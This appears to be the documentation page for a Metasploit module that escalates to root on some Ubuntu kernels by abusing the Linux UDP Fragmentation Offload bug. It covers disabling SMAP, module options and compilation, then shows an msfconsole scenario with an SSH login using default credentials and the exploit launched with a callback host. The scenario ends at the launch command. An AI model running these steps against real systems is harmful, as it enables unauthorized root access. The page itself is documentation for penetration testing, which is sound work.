## Vulnerable Application

This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO).
  
The bug was initially introduced in October 2005 and patched in September 2017, potentially affecting a large
number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 
4.4.0-21 <= 4.4.0-89 (Trusty), and 4.4.0-81 <= 4.8.0-58 (Xenial), including Linux distros based on Ubuntu
such as Linux Mint.

### Disabling SMAP

[Original Instructions](https://github.com/rapid7/metasploit-framework/pull/9884#issuecomment-389607805)

To disable `SMAP` on a system, edit `/etc/default/grub` and add `nosmap` to the `GRUB_CMDLINE_LINUX_DEFAULT` line.
Next, `sudo update-grub`, and reboot.

To verify SMAP has been disabled, `grep smap /proc/cpuinfo` and nothing should be returned.

## Verification Steps

  1. Start msfconsole
  2. Get a shell on a vulnerable box
  3. Do: ```use exploit/linux/local/ufo_privilege_escalation```
  4. Do: ```set session [#]```
  5. Do: ```run```
  6. You should get a root shell.

## Options

  **WritableDir**

  A folder we can write files to.  Defaults to /tmp

  **COMPILE**
  
  If we should live compile on the system, or drop pre-created binaries.  Auto will determine if gcc/libs are installed to compile live on the system.  Defaults to Auto

## Compiled Executables

The module makes use of a pre-compiled exploit executable to be
used when `gcc` is not available on the target host for live compiling,
or `COMPILE` is set to `False`.

The executable was cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar).

```bash
./x86_64-linux-musl-gcc -o exploit.out -pie -static exploit.c
```

## Scenarios

### Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop

#### Initial Access

```
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
resource (ubuntu.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (ubuntu.rb)> set username ubuntu
username => ubuntu
resource (ubuntu.rb)> set password ubuntu
password => ubuntu
resource (ubuntu.rb)> exploit

[*] Auxiliary module execution completed
```

#### Escalate

In this scenario, gcc is installed so we can live compile on the system.

```
msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation 
msf5 exploit(linux/local/ufo_privilege_escalation) > set verbose true
verbose => true
msf5 exploit(linux/local/ufo_privilege_escalation) > set session 1
session => 1
msf5 exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(linux/local/ufo_privilege_escalation) > exploit
